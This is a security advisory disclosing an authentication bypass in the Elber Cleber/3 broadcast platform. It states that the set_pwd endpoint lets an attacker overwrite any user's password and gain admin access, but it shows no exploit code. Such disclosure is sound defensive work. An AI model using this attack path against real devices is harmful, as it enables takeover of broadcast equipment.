Title: Elber Cleber/3 Broadcast Multi-Purpose Platform 1.0.0 Authentication Bypass
Advisory ID: ZSL-2024-5816
Type: Local/Remote
Impact: Security Bypass, Privilege Escalation, System Access, DoS
Risk: (5/5)
Release Date: 17.04.2024

Summary

Cleber offers a powerful, flexible and modular hardware and software platform for broadcasting and contribution networks where customers can install up to six boards with no limitations in terms of position or number. Based on a Linux embedded OS, it detects the presence of the boards and shows the related control interface to the user, either through web GUI and Touchscreen TFT display. Power supply can be single (AC and/or DC) or dual (hot swappable for redundancy); customer may chose between two ranges for DC sources, that is 22-65 or 10-36 Vdc for site or DSNG applications.

Description

The device suffers from an authentication bypass vulnerability through a direct and unauthorized access to the password management functionality. The issue allows attackers to bypass authentication by manipulating the set_pwd endpoint that enables them to overwrite the password of any user within the system. This grants unauthorized and administrative access to protected areas of the application compromising the device’s system security.
